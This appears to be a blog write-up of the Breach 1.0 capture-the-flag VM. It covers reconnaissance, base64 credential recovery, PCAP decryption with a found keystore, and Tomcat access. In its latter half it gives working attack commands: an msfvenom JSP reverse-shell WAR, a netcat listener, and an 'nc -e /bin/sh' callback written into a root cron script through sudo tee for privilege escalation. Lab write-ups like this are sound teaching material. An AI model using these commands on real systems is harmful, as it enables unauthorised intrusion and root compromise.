I was playing with Breach 1.0 recently and found it to be one of the most fun CTF systems to break into meant to be good for a beginner to intermediate hackers and the first in what will hopefully be an excellent multi-part series! Solving the boot2root challenge requires a combination of both information gathering and persistence for learning and this is my writeup.
First things first a bit of enumeration is needed to find out some intel and a quick nmap scan of the system with the following yields many results meaning something is clearly wrong!:
nmap -sS -Pn 192.168.110.140
“-sS” – TCP SYN
“-Pn” – Treat all hosts as online — skip host discovery
I noticed some weird output while running different nmap scans so created a little python script to see what was going on
for i in range(1, 50):
os.system(“nc 192.168.110.140 ” + str(i))
A break down of the script:
#!/usr/bin/env python <– This will set the environment for python to run in regardless of where it is stored on your system.
import os <– This imports a module called “os” which will let us do some fun stuff with system commands.
for i in range(1, 50): <– Start of a for loop, i in this case has the values of the range 1 to 50 passed to it and will be used on the next line.
os.system(“nc 192.168.110.140” + str(i)) <– os.system is used to encapsulate nc with the ip address 192.168.110.140 plus the values 1,2,3,4,5 etc until it reaches 50
print “” <– I added this to make the output cleaner
This then gives me the following output which I thought was brilliant 🙂
Hmm lets connect to port 80 in the browser and see if there is a web page hosted
Excellent we have the company name Initech.
Bill Lumbergh and Peter Gibbons were performing analysis and containing the threat.
It appears like a disgruntled employee caused the breach.
Viewing the page source you can see some strange text in there:
The image is clickable and brings you to another page:
Two images and an employee portal are now also accessible:
http://192.168.110.140/impresscms/user.php <– Impress CMS user portal
Looking at the image URI directories makes me feel there may be more in that images sub directory:
Dropping to /images
We then get access to a few more images.
Now we have a few more images to look into and a troll GIF hahaha:
Created a quick list of all the images with cat:
cat > _images
Created a quick for loop to then cycle through the list and pull them all down for me, the usage is similar to the python script above used for nc.
for i in $(cat _images); do wget $i; done
I then ran the strings command against all the images with a simple for loop, once again similar to the previous scripts. The only thing really different is the variable created called types storing the different image extensions to cycle through the current working directory:
types=”*.png *.jpg *.gif”
for i in $types
$(strings $i >> string_output)
Looking through the outputted file “string_output” you find the textcomment “coffeestains”. Which I added to my word list and moved on as it might be useful later on in the challenge.
Looking at the string found earlier on the web page it turns out it’s double encoded in base64 without the trailing “=” at the end, once again a quick python script quickly solves this problem by importing the base64 module pushing the string into a variable encoded and then decrypting it by running base64.b64decode against it twice and printing the result:
encoded = (‘Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo’)
decrypted = base64.b64decode(base64.b64decode(encoded))
The following string is printed and it looks like a username and password combo:
Trying the credentials in the CMS platform they work and we get access to his inbox!
Working from the bottom up through the emails
We learn a few things from these emails:
1 – There is/was a keystore 192.168.110.140/.keystore Bob – Some sort of SSL Cert called Super Secret Cert Pro
2 – Email addresses: firstname.lastname@example.org, email@example.com, firstname.lastname@example.org
3 – They bought a new IDS/IPS
4 – There is another user called Michael Bolton – http://192.168.110.140/impresscms/modules/profile/index.php?uid=3
5 – Sensitive artifacts are stored in the admin portal and the password is apparently very secure
Lets pull the keystore first:
Pulling with the link mentioned does nothing
But, pulling just the keystore gets the file, move on and keep it for later
Lets try logging in as some of these users:
email@example.com, firstname.lastname@example.org, email@example.com
admin and the string found in one of the images “coffeestains” works 🙂
The URL is different logged in as the admin: http://192.168.110.140/impresscms/modules/profile/index.php?uid=1
Changing the uid=1 to 2 and 3 logs you in as the other users
Peter Gibbon’s Profile:
Michael Bolton’s Profile:
New emails found
firstname.lastname@example.org & email@example.com
Under the ImpressCMS Admin account in the content section you find a message saying Michael has configured artifacts and communications related to the breach on the portal.
Looking at the link it looks similar to the uid=3 used previously instead this is content_id=3 and changing it jumps you into other areas to gather more information for your reconnaissance.
Interesting here is that Peter Gibbons posted a PCAP file of a re-production of the attack. Something makes the file unreadable for him. Nmap is making it difficult to find the correct port so they can connect to it. The password for storepassword and keypassword are set to tomcat. Securely encrypted could be a hint that the keystore is the SSL certificate for unlocking the PCAP as the traffic is encrypted. This can also be linked to when logged in as Peter Gibbons.
Pulling down the PCAP with wget:
Using ngrep to quickly scan through the PCAP with ngrep -I _SSL_test_phase1.pcap
“-I” – simply tells ngrep to read from a file and not an interface
Interesting here is the connection to 192.168.110.140:8443 a common apache port.
Next some kali IOC’s are detected
Nethunter and exploitdb domains are also egressed to
Ngrep just for nethunter IOC’s with
ngrep -i nethunter -I _SSL_test_phase1.pcap
Using the following ngrep command I searched for some User-Agent Strings which can be handy at times
ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’ you can see some User-Agent Strings (UAS):
I know there are some GET requests in there but can’t seem to pull them up with ngrep foo so I go to tcpick
tcpick -C -yP -r SSL_test_phase1.pcap
Apart from confirming what we already know (That 192.168.110.120 established a connection on port 8443 with the Initech server) I see nothing different and can’t manipulate the get requests
I also ran
tcpdump -qns 0 -X -r SSL_test_phase1.pcap
tshark -r SSL_test_phase1.pcap
Which lead to what I was looking for the get requests!
We now have the following URI’s for 192.168.110.140:
It look’s like a web shell was launched against the management interface with the /cmd/ URI structure
Playing around with tshark switches I find another possible URI
47 45 54 20 2f 5f 4d 40 6e 61 67 33 4d 65 2f 69 GET /_M@ nag3Me/i
That looks a bit strange
Also used the following tshark filters below and at this point I figured I might as well start the play with the keystore found earlier and see if it decrypts the traffic here.
tshark -r SSL_test_phase1.pcap -z “mgcp,rtd,ip.addr==192.168.110.140”
tshark -r SSL_test_phase1.pcap -z “follow,ssl,hex,1”
I got prompted for a password when I ran this so I used tomcat from earlier to gain access. With this cert it should make reading the PCAP easier and uncover some further information
keytool -list -v -keystore .keystore
Using keytool again we can use it to extract the key to a p12 cert
Converting the file into a passwordless PEM file
openssl pkcs12 -in key.p12 -out keystore.pem
Exporting the private key only:
Importing the p12 key into Wireshark so you can then see the SSL stream and follow it.
Importing it into Wireshark is as easy as Pressing CTRL + SHIFT + P or navigating to preferences –> Protocols –> SSL
Edit the RSA keylist with the following
192.168.110.140 8443 http /keyfile/dir tomcat
We can then see remnants of what look like a war file deployed on the apache management interface:
We also get the following URI’s of GIF’s which appear to contain nothing of interest
And what looks like more base64 in the form of an authorization against the management interface
And what looks like more base64 in the form of an authorization against the management interface
After all of this we learn that it appears as if a malicious war file was uploaded to the Apache server located on 192.168.110.140:8443 and was used to gain tomcat6 level access on the server
After this I decided to look inside the two GIF’s and had issues accessing the site due to the cipher suite in use, going into about:config and adding the string security.tls.insecure_fallback_hosts 192.168.110.140 did the trick
Decoding the Basic Authorization above in the packet capture is as simple as running the following piece of python against the Basic Authorization string dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Similar to the previous double encoded base64 string this is much easier to decode.
This might log us in on the apache server
Running nmap against the server on that port confirms it’s an Apache server
Running against port 8080 out of curiosity gave back a random perl script
root@stealth:~/Documents/Breach_Guide# nmap -sV -p8080 192.168.110.140
Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-27 23:26 IST
Nmap scan report for 192.168.110.140
Host is up (0.00020s latency).
PORT STATE SERVICE VERSION
8080/tcp open http-proxy?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
MAC Address: 08:00:27:58:48:B1 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.32 seconds
Decoding the base64 in the above output resolves to:
print “PWNED\n” x 5 ; $_=`pwd`; print “\nuploading your home directory: “,$_,”… \n\n”;
Login is successful to https://192.168.110.140:8443/_M@nag3Me/html with the credentials decoded from base64 🙂
Create a raw payload war file with msfvenom to get a reverse shell on the box
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war
Upload the war file to the Apache breach server
Click on the deployed WAR file to visit it in the browser
You will receive what appears to be a blank page, navigating to this link however provides you with a reverse tcp reverse shell to the system
In order to get that reverse shell you need to set a simple nc listener running on port 443 (Or alternatively use msfconsole)
nc -lvp 443
Connection results in tomcat6 access similar to what was seen in the PCAP. Gaining a TTY shell can be leveraged with python:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
Checking /etc/passwd for anything interesting
Interesting accounts to take note of are milton and blumergh as there may be some password reuse. A bit of poking around first though finds the credentials in the configuration just used to login to the tomcat server.
Poking around the home directory there appears to be two user accounts on which correlate to the interesting accounts discovered earlier for milton and blumbergh, milton has a my_badge.jpg and a script in his home directory. Milton appears to have added blumbergh to the sudoers file which is interesting as he can run some scripts that don’t require a password.
Checking for any hidden files there are a few but they cannot currently be accessed
The same is seen in the blumbergh home folder
Trying blumbergh first with the password “coffeestains” was a success haha, all hail password reuse
Checking the .bash_history file of the blumbergh account shows a script was used in what looks like some sort of a cleanup folder
Navigating to that directory shows a hacker evasion script 🙂 (This must be what keeps kicking me off the server)
The interesting thing here is that the /var/lib/tomcat6/webapps/swingline directory has some permissions which should allow scripts to run as tomcat6 every three minutes, this could allow a reverse nc shell to run every three minutes if we are lucky!
Running sudo -l as blumbergh shows Bill can run tee as he is added to the sudoers directory, tee can be used for writing to standard input and standard output 🙂
Lets create a quick netcat listener test script “script.sh” that can be ran as a test before the three minutes are up and it’s removed from the swingline directory (success):
echo “nc -e /bin/sh 192.168.110.23 443” > /var/lib/tomcat6/webapps/swingline/script.sh
Because we can run tee as root we can then use that script and echo it into the tidyup.sh script using tee!
cat /var/lib/tomcat6/webapps/swingline/script.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
A quick check the script has been modified:
nc -e /bin/sh 192.168.110.23 443
Disconnect again and set your listener of choice in motion and play the waiting game for the next three minutes
Woohoo, root unlocked 🙂
Looking at flair.jpg it can be turned into base64 and easily transported off the system then decoded back into a JPG on the host system
base64 -d flair > flair.jpg
“-d” is used for decoding
Opening it from the terminal then with xdg-open
I need to talk about your flair 🙂
And that’s it, I could have delved further and looked at the mysql side of things but I didn’t need to start cracking hashes or manipulating tables to get to the end goal, there are probably other methods that will get you to root possibly even quicker but this worked for me and I’m happy with the end result. It’s a great challenge and you can download it here from the download mirror or from magnet torrent to give it a go yourself. It’s well worth it!